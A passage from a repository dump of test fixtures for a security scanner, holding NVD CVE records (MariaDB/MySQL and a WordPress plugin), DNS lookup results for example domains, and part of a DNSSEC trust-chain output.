\"matchCriteriaId\": \"825ECE2D-E232-46E0-A047-074B34DB1E97\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*\",\n                \"matchCriteriaId\": \"B6B7CAD7-9D4E-4FDB-88E3-1E583210A01F\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*\",\n                \"matchCriteriaId\": \"B5A6F2F3-4894-4392-8296-3B8DD2679084\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:canonical:ubuntu_linux:15.04:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"F38D3B7E-8429-473F-BB31-FC3583EE5A5B\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"E88A537F-F4D0-46B9-9E37-965233C2A355\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:*:*:*:*:*:*:*:*\",\n                \"versionEndIncluding\": \"5.5.46\",\n                \"matchCriteriaId\": \"728F5CC4-5692-4921-BF0B-E364F87D2A42\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"3553190A-1EA3-4FDC-838C-1AF34A0D5D1A\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.1:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"C8B516F9-DA77-45E7-9D1D-C66E49E6F97D\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.2:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"23E2C5C7-9BCC-476C-BF69-7771C9600D92\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.3:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"EB9D5F37-45F0-4F80-84EA-8179931AD303\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.4:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"21EFF6F8-AD71-4FD6-A37C-9903CF09A87F\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.5:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"000F198B-4149-4108-8706-89FFE2D15001\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.6:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"0E9B6400-7126-4C48-9A87-501FC3426DBB\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.7:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"CFAE8185-E8C8-4216-AAC2-12C95D8A4964\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.8:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"C1BEE2E7-F0CB-4E39-9E0F-91DB837E2979\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.9:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"ED693A68-AD80-451E-83CF-D248514688BE\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.10:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"0DDD2822-CF30-4087-A9AB-9BCFC5CEACC7\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.11:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"E6109E6A-A0FB-44CF-AD80-A510E6ACA899\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.12:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"E2B8DA6D-5E8C-416C-A4C7-BCCB460EBCE3\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.13:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"681C1351-A5C7-4B67-87A9-61F1CA115D39\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.14:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"4C2446AD-E917-4614-93B1-7F47A030CC0A\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.15:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"83484159-71C4-47DB-8769-F735467E8871\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.16:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"F4D0D3F2-01A4-4294-8665-C6160FB4735C\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.17:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"B69284A6-9B28-4EB8-B214-7EB3968357EF\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.18:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"37D79DF6-54FA-4ED8-B0CB-B7B9E6F6A0EE\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.19:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"C98121EF-DF6B-4A46-8EE3-0062E9AF0B44\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.20:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"717CB721-213B-45F2-ABF8-22C2D9D140CD\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.21:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"3FA50A75-019F-4419-8A26-45ECA74FEC35\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.0.22:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"EBADC517-FE84-48D0-B8CB-35870E1FC482\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"8992102A-BD39-4BCB-9F92-BA88C5E72830\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.1:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"8F29B9F5-5C6A-4A48-9A1E-0A552E49780F\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.2:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"74581B16-EC32-4ECA-B761-583B92D3E470\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.3:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"D77494F3-FE15-4EC0-9F0B-94142177ABB4\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.4:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"63C538D2-B88F-4E12-9557-01112931A656\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.5:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"3DB6247F-C3FD-4204-BD21-2F60E080139B\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.6:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"0162BF64-C53C-446D-BDEE-5B0823FA7869\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.7:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"DD57C2E4-B0E7-429D-BA03-CDEED522B951\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.8:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"7CE62A44-0584-4070-89D1-17A87B5B19F3\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:mariadb:mariadb:10.1.9:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"E1165D35-8A27-48A3-9678-533E5FAAEE0E\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:oracle:mysql:*:*:*:*:*:*:*:*\",\n                \"versionEndIncluding\": \"5.5.46\",\n                \"matchCriteriaId\": \"2B27571F-1A55-492E-AEA6-079B931CED61\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:opensuse:leap:42.1:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"4863BE36-D16A-4D75-90D9-FD76DB5B48B7\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:oracle:linux:7:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"104DA87B-DEE4-4262-AE50-8E6BC43B228B\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:oracle:solaris:11.3:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"79A602C5-61FE-47BA-9786-F045B6C6DBA8\"\n              }\n            ]\n          }\n        ]\n      },\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43\"\n              }\n            ]\n          }\n        ]\n      }\n    ],\n    \"references\": [\n      {\n        \"url\": \"http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00033.html\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00034.html\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00051.html\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00053.html\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Third Party Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://rhn.redhat.com/errata/RHSA-2016-0534.html\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Third Party Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://rhn.redhat.com/errata/RHSA-2016-1480.html\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://rhn.redhat.com/errata/RHSA-2016-1481.html\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://www.debian.org/security/2016/dsa-3453\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Patch\",\n          \"Third Party Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://www.debian.org/security/2016/dsa-3459\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      },\n      {\n        \"url\": \"http://www.securityfocus.com/bid/81176\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://www.securitytracker.com/id/1034708\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"http://www.ubuntu.com/usn/USN-2881-1\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Third Party Advisory\"\n        ]\n      },\n      {\n        \"url\": \"https://access.redhat.com/errata/RHSA-2016:1132\",\n        \"source\": \"secalert_us@oracle.com\"\n      },\n      {\n        \"url\": \"https://mariadb.com/kb/en/mariadb/mariadb-10110-release-notes/\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      },\n      {\n        \"url\": \"https://mariadb.com/kb/en/mariadb/mariadb-5547-release-notes/\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      },\n      {\n        \"url\": \"https://mariadb.com/kb/en/mdb-10023-rn/\",\n        \"source\": \"secalert_us@oracle.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/cve-result-without-cvss.json",
    "content": "{\n  \"cve\": {\n    \"id\": \"CVE-2023-2434\",\n    \"sourceIdentifier\": \"security@wordfence.com\",\n    \"published\": \"2023-05-31T04:15:10.070\",\n    \"lastModified\": \"2023-06-06T16:27:06.360\",\n    \"vulnStatus\": \"Analyzed\",\n    \"descriptions\": [\n      {\n        \"lang\": \"en\",\n        \"value\": \"The Nested Pages plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'reset' function in versions up to, and including, 3.2.3. This makes it possible for authenticated attackers, with editor-level permissions and above, to reset plugin settings.\"\n      },\n      {\n        \"lang\": \"es\",\n        \"value\": \"El plugin Nested Pages para WordPress es vulnerable a la pérdida no autorizada de datos debido a la falta de capacidad de comprobación de la función \\\"reset\\\" en las versiones hasta la 3.2.3 inclusive. Esto hace posible que atacantes autenticados, con permisos de nivel de editor y superiores, restablezcan la configuración del plugin. \"\n      }\n    ],\n    \"metrics\": {},\n    \"weaknesses\": [\n      {\n        \"source\": \"nvd@nist.gov\",\n        \"type\": \"Primary\",\n        \"description\": [\n          {\n            \"lang\": \"en\",\n            \"value\": \"CWE-862\"\n          }\n        ]\n      },\n      {\n        \"source\": \"security@wordfence.com\",\n        \"type\": \"Secondary\",\n        \"description\": [\n          {\n            \"lang\": \"en\",\n            \"value\": \"CWE-862\"\n          }\n        ]\n      }\n    ],\n    \"configurations\": [\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:a:nested_pages_project:nested_pages:*:*:*:*:*:wordpress:*:*\",\n                \"versionEndIncluding\": \"3.2.3\",\n                \"matchCriteriaId\": \"F288252B-FB7B-41FB-9F17-6846B325433F\"\n              }\n            ]\n          }\n        ]\n      }\n    ],\n    \"references\": [\n      {\n        \"url\": \"https://plugins.trac.wordpress.org/browser/wp-nested-pages/tags/3.2.3/app/Form/Listeners/ResetSettings.php#L12\",\n        \"source\": \"security@wordfence.com\",\n        \"tags\": [\n          \"Patch\"\n        ]\n      },\n      {\n        \"url\": \"https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2919175%40wp-nested-pages&old=2814681%40wp-nested-pages&sfp_email=&sfph_mail=\",\n        \"source\": \"security@wordfence.com\",\n        \"tags\": [\n          \"Patch\"\n        ]\n      },\n      {\n        \"url\": \"https://www.wordfence.com/threat-intel/vulnerabilities/id/8c3e61e9-3610-41b5-9820-28012dc657fd?source=cve\",\n        \"source\": \"security@wordfence.com\",\n        \"tags\": [\n          \"Third Party Advisory\"\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dns-result-example.com-cnames.json",
    "content": "{\n  \"dkim_response\": \"NXDOMAIN\",\n  \"dmarc_response\": \"NXDOMAIN\",\n  \"dns_records\": \"RESOLVER: 2001:500:8f::53\\nid 55278\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN SOA\\n;ANSWER\\nwww.example.com. 21 IN CNAME example.com.\\nexample.com. 21 IN SOA ns.icann.org. noc.dns.icann.org. 2022040432 7200 3600 1209600 3600\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 1471\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN A\\n;ANSWER\\nwww.example.com. 60 IN CNAME example.com.\\nexample.com. 60 IN A 94.198.159.35\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 27352\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN TXT\\n;ANSWER\\nwww.example.com. 60 IN CNAME example.com.\\nexample.com. 60 IN TXT \\\"v=spf1 -all\\\"\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 51351\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN MX\\n;ANSWER\\nwww.example.com. 60 IN CNAME example.com.\\nexample.com. 60 IN MX 0 example.com.\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 56263\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN NS\\n;ANSWER\\nwww.example.com. 60 IN CNAME example.com.\\nexample.com. 60 IN NS a.iana-servers.net.\\nexample.com. 60 IN NS b.iana-servers.net.\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 6932\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.com. IN CNAME\\n;ANSWER\\nwww.example.com. 60 IN CNAME example.com.\\n;AUTHORITY\\n;ADDITIONAL\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dns-result-example.nl.json",
    "content": "{\n  \"dkim_response\": \"NXDOMAIN\",\n  \"dmarc_response\": \"NXDOMAIN\",\n  \"dns_records\": \"RESOLVER: 2001:500:8f::53\\nid 37524\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN SOA\\n;ANSWER\\nexample.nl. 14340 IN SOA ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 19088\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN A\\n;ANSWER\\nexample.nl. 14364 IN A 94.198.159.35\\nexample.nl. 14364 IN A 94.198.159.36\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 52864\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN AAAA\\n;ANSWER\\nexample.nl. 14400 IN AAAA 2a00:d78:0:712:94:198:159:35\\nexample.nl. 14400 IN AAAA 2a00:d78:0:712:94:198:159:36\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 48242\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN TXT\\n;ANSWER\\nexample.nl. 14400 IN TXT \\\"v=spf1 redirect=spf-a.example.nl\\\"\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 31241\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN MX\\n;ANSWER\\nexample.nl. 14400 IN MX 10 mail.example.nl.\\nexample.nl. 14400 IN MX 10 mail2.example.nl.\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 61100\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN NS\\n;ANSWER\\nexample.nl. 2634 IN NS ns3.examplenl.org.\\nexample.nl. 2634 IN NS ns1.examplenl.nl.\\nexample.nl. 2634 IN NS ns2.examplenl.eu.\\nexample.nl. 2634 IN NS ns0.examplenl.com.\\n;AUTHORITY\\n;ADDITIONAL\\n\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dns-result-mx-example.nl.json",
    "content": "{\n  \"dkim_response\": \"NXDOMAIN\",\n  \"dmarc_response\": \"NXDOMAIN\",\n  \"dns_records\": \"RESOLVER: 2001:b88:1002::10\\nid 21479\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nenglish.example.nl. IN MX\\n;ANSWER\\nenglish.example.nl. 60 IN CNAME redir.example.nl.\\nredir.example.nl. 14400 IN MX 0 .\\n;AUTHORITY\\n;ADDITIONAL\\n\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dns-result-www.example.nl.json",
    "content": "{\n  \"dkim_response\": \"NXDOMAIN\",\n  \"dmarc_response\": \"NXDOMAIN\",\n  \"dns_records\": \"RESOLVER: 2001:500:8f::53\\nid 49844\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nexample.nl. IN SOA\\n;ANSWER\\nexample.nl. 14340 IN SOA ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 53153\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.nl. IN A\\n;ANSWER\\nwww.example.nl. 10800 IN CNAME webredir.examplenl.nl.\\nwebredir.examplenl.nl. 10800 IN A 94.198.159.35\\n;AUTHORITY\\n;ADDITIONAL\\n\\nRESOLVER: 2001:500:8f::53\\nid 60066\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.example.nl. IN CNAME\\n;ANSWER\\nwww.example.nl. 10800 IN CNAME webredir.examplenl.nl.\\n;AUTHORITY\\n;ADDITIONAL\\n\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dns-zone-result-sub.example.nl.txt",
    "content": "RESOLVER: 2001:500:8f::53\nid 55278\nopcode QUERY\nrcode NOERROR\nflags QR RD RA\n;QUESTION\nexample.nl. IN SOA\n;ANSWER\nexample.nl. 14340 IN SOA ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\n;AUTHORITY\n;ADDITIONAL\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/dnssec-self-signed.txt",
    "content": ";; Number of trusted keys: 1\n;; Domain: .\n[T] . 172800 IN DNSKEY 256 3 8 ;{id = 5613 (zsk), size = 2048b}\n. 172800 IN DNSKEY 257 3 8 ;{id = 20326 (ksk), size = 2048b}\nChecking if signing key is trusted:\nNew key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 AwEAAZBALoOFImwcJJg9Iu7Vy7ZyLjhtXfvO1c9k4vHjOpf9i7U1kKtrBvhnwsOni1sb50gkUayRtMDTUQqvljMMf4bpkyEtcE5evCzhHbFLq1coL5QOix3mfJm++FvIMaAt52nOvAdqR/luuI11bA1AmSCIJKAUx147DcfOHYKg3as+dznn3Iah4cWBMVzDe7PPsFS1AO6gU8EpmiRJ9VMNA09fOyDuq9+d6sw8UUnJRMAFAuPLhUFjUAOuWOw74BC9lOtMQpbLMz8pX0CDKdOXDHjyj61nxSSWxPdUjeoxI17lQTpSPRtqRHFn5Fgj2e+9BVwhhWGDQN8kUVSJHZtQiI0= ;{id = 5613 (zsk), size = 2048b}\nKey is now trusted!\n\tTrusted key: .\t172800\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n[T] org. 86400 IN DS 26974 8 2 4fede294c53f438a158c41d39489cd78a86beb0d8a0aeaff14745c0d16e1de32\n;; Domain: org.\n[T] org. 3600 IN DNSKEY 257 3 8 ;{id = 26974 (ksk), size = 2048b}\norg. 3600 IN DNSKEY 256 3 8 ;{id = 55149 (zsk), size = 1024b}\norg. 3600 IN DNSKEY 256 3 8 ;{id = 3093 (zsk), size = 1024b}\nChecking if signing key is trusted:\nNew key: org.\t3600\tIN\tDNSKEY\t256 3 8 AwEAAa4FGs7OxYymiv/SIJcOjqjEBmUwW9tHJiKdAfQo4lwNrFUxZQGeOT30wDI8i1/GeeQg22VBSqQVZqe4qGUHbnT0XGlLIDKrBRXOARMymLwFPZszDiWf0jNAbFE+vF3OJbxWD2z95LOfC5QpLw7pYBNLcGSJZvjjnAeuq3/taU/j ;{id = 3093 (zsk), size = 1024b}\n\tTrusted key: .\t86400\tIN\tDNSKEY\t257 3 8 AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3+/4RgWOq7HrxRixHlFlExOLAJr5emLvN7SWXgnLh4+B5xQlNVz8Og8kvArMtNROxVQuCaSnIDdD5LKyWbRd2n9WGe2R8PzgCmr3EgVLrjyBxWezF0jLHwVN8efS3rCj/EWgvIWgb9tarpVUDK/b58Da+sqqls3eNbuv7pr+eoZG+SrDK6nWeL3c6H5Apxz7LjVc1uTIdsIXxuOLYA4/ilBmSVIzuDWfdRUfhHdY6+cn8HFRm+2hM8AnXGXws9555KrUB5qihylGa8subX2Nn6UwNR1AkUTV74bU= ;{id = 20326 (ksk), size = 2048b}\n\tTrusted key: .\t172800\tIN\tDNSKEY\t256 3 8 